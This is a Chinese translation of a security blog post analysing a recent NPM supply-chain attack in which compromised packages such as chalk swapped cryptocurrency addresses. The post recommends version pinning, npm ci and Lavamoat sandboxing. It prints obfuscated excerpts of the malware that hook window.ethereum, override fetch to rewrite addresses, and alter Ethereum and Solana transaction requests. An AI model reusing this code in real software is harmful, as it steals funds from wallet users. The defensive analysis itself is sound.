本文分析了最近NPM上发生的供应链攻击事件,恶意软件包通过替换用户交易中的区块链地址来窃取加密货币。文章解释了攻击原理,并提供了开发者可以采取的防御措施,包括版本锁定、使用npm ci
以及实施Lavamoat等工具,以降低受到供应链攻击的风险。
最近针对 NPM 的供应链攻击表明,受信任的依赖项可以多么容易地成为恶意软件的传递媒介。了解攻击是如何运作的,以及开发者可以实施哪些实际的防御措施来保证安全。
最近针对 NPM 的供应链攻击给开发者社区带来了震动,并深刻地提醒我们依赖项中潜藏的风险。包括 chalk
在内的广泛使用的软件包的恶意版本被发布,其中包含旨在窃取加密货币的复杂恶意软件。
这次攻击突出了开源生态系统中的一个根本漏洞:你安装的任何软件包都获得与你自己的代码相同的权限,从而可以自由访问重要的资源,例如 cookies 和网络堆栈。
在这篇文章中,我们将分解恶意软件的工作原理,并概述开发者可以使用的实际防御措施,包括 Lavamoat,这是一款已经被 web3 生态系统领导者采用的工具。
攻击者发布了软件包的修改版本,其中的代码旨在执行三件事:
async function checkethereumw() {
try {
const _0x124ed3 = await window.ethereum.request({
'method': "eth_accounts"
});
if (_0x124ed3.length > 0) {
runmask();
if (rund != 1) {
rund = 1;
neth = 1;
newdlocal();
}
} else if (rund != 1) {
rund = 1;
newdlocal();
}
}
}
fetch = async function (...args) {
const originalResponse = await originalFetch.call(this, ...args);
const contentType = originalResponse.headers.get('Content-Type') || '';
let data;
if (contentType.includes('application/json')) {
data = await originalResponse.clone().json();
} else {
data = await originalResponse.clone().text();
}
const processedData = replaceAddresses(data);
const finalResponseText =
typeof processedData === 'string' ? processedData : JSON.stringify(processedData);
const finalResponse = new Response(finalResponseText, {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers: originalResponse.headers,
});
return finalResponse;
};
if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
try {
const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
_0x2c3d7e.params[0] = _0x39ad21;
} catch (_0x226343) {}
} else {
if (
(_0x2c3d7e.method === 'solana_signTransaction' ||
_0x2c3d7e.method === 'solana_signAndSendTransaction') &&
_0x2c3d7e.params && _0x2c3d7e.params[0]
) {
try {
let _0x5ad975 = _0x2c3d7e.params[0];
if (_0x5ad975.transaction) {
_0x5ad975 = _0x5ad975.transaction;
}
const _0x5dbe63 = _0x1089ae(_0x5ad975, false);
if (_0x2c3d7e.params[0].transaction) {
_0x2c3d7e.params[0].transaction = _0x5dbe63;
} else {
_0x2c3d7e.params[0] = _0x5dbe63;
}
} catch (_0x4b99fd) {}
}
}
尽管这次攻击的目标是流行的 NPM 软件包,但该漏洞的利用并不十分成功。两天后,攻击者的钱包只提取了大约 1000 美元。然而,重要的是,受信任的依赖项可以多么容易地成为恶意软件的传递媒介。
开源生态系统的分散性,尤其是像 NPM 这样的大型注册表,使其成为攻击者有吸引力且持久的目标。尽管最近的这次攻击被迅速缓解,并且经济影响较小,但它作为一个强大且广为人知的概念验证,表明一个受损的维护者可以大规模分发恶意软件。
拥有超过 200 万个软件包以及无数层的直接和传递依赖项,一次妥协可能会在数小时内波及数千个项目。这是一个经典的“大海捞针”问题,只是这个草堆还在不断增长。
如果你正在构建关键系统,并且在你的威胁模型中,供应链攻击是不可接受的风险,那么你可以采取以下一些实际行动:
package.json
中锁定版本当攻击者发布新版本的 NPM 软件包,并且应用程序自动下载它以获取最新的软件包版本时,应用程序就会受到供应链攻击的威胁。
你可以锁定你的依赖项版本,以确保它们在运行 npm install
时不会被更新。要锁定它,只需确保删除 package.json
中版本之前的插入符号 ^
符号:
"@react-native-async-storage/async-storage": "1.23.1",
"@react-native-community/datetimepicker": "8.3.0",
"@react-native-community/netinfo": "11.4.1",
"@react-native-picker/picker": "2.11.0"
npm ci
npm ci
使用 package-lock.json
中的依赖项版本来安装软件包。考虑在 CI/CD 工作流中使用它,并且只在添加新软件包或更新现有软件包时使用 npm install
。
基本的卫生习惯有所帮助,但它并没有解决根本问题:一个次要的实用程序软件包拥有与你的代码相同的权限。Lavamoat 改变了这种模式。Lavamoat 由 MetaMask 创建,通过沙盒化软件包和强制执行最小权限来解决这个问题。有了它,即使依赖项包含恶意软件,也不会危及应用程序。
Lavamoat 使用 SES (Hardened JavaScript) 来强制执行这些限制,限制每个软件包可以访问的全局变量、函数和子依赖项。这些规则定义在一个策略文件中,如下所示:
"resources": {
"@ethereumjs/util>@ethereumjs/rlp": {
"globals": {
"TextEncoder": true
}
},
"@ethereumjs/util": {
"globals": {
"console.warn": true,
"fetch": true
},
"packages": {
"@ethereumjs/util>@ethereumjs/rlp": true,
"@ethereumjs/util>ethereum-cryptography": true
}
}
}
在这个例子中,它限制了 @ethereumjs/util
软件包只能使用 console.warn
和 fetch
函数,并且只能包含 @ethereumjs/rlp
和 ethereum-cryptography
软件包。
策略文件可以自动生成,并且应该仔细地重新生成,因为如果你在安装恶意软件包时生成策略,则可以绕过 Lavamoat 的保护。
Lavamoat 还会自动冻结全局对象,以防止它们被替换或篡改。请参阅 Object.freeze。
如果一个 dApp 被 Qix 恶意软件感染(例如它使用了 chalk
),它需要执行以下操作才能从钱包中提取资金:
fetch
函数替换为自定义函数window.ethereum
fetch
函数如果 dApp 使用 Lavamoat,并为 chalk 5.6.0
(非恶意版本)生成了策略,它将如下所示:
"chalk": {
"globals": {
"navigator.userAgent": true,
"navigator.userAgentData": true
}
},
这意味着 chalk 依赖项只能访问 navigator 中的这两个全局属性。
当受感染的 dApp 执行 chalk v5.6.1
的恶意有效负载时,由于权限不足,它将失败:
此错误表明恶意软件失败,因为它无法重新定义 fetch 函数:
TypeError#1: Cannot define property fetch, object is not extensible
OtterSec 团队在 2024 年末审核了 Lavamoat Webpack 插件,并发现了攻击者可以利用来绕过 Lavamoat 保护的漏洞(请参阅审核报告)。
像任何安全工具一样,它并非完美无缺,但它代表着一个重要的转变:它最大限度地减少了恶意代码可以执行的操作,而不是假设每个依赖项都值得完全信任。供应链攻击旨在攻击尽可能多的受害者,而不是针对个别组织。通过实施 Lavamoat,你可以大大降低你的风险,并迫使攻击者另寻目标。
NPM 事件可能没有造成巨大的损失,但它清楚地证明了当前模型的脆弱性。供应链攻击将再次发生,并且仅依靠注册表的安全性是不够的。
版本锁定和 npm ci
提供了一个基线防御,但 Lavamoat 代表了下一步:强制执行依赖项的最小权限。如果你正在构建关键应用程序,那么采用 Lavamoat 并为其做出贡献是保持领先的最有效方法之一。
- 原文链接: osec.io/blog/2025-09-13-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!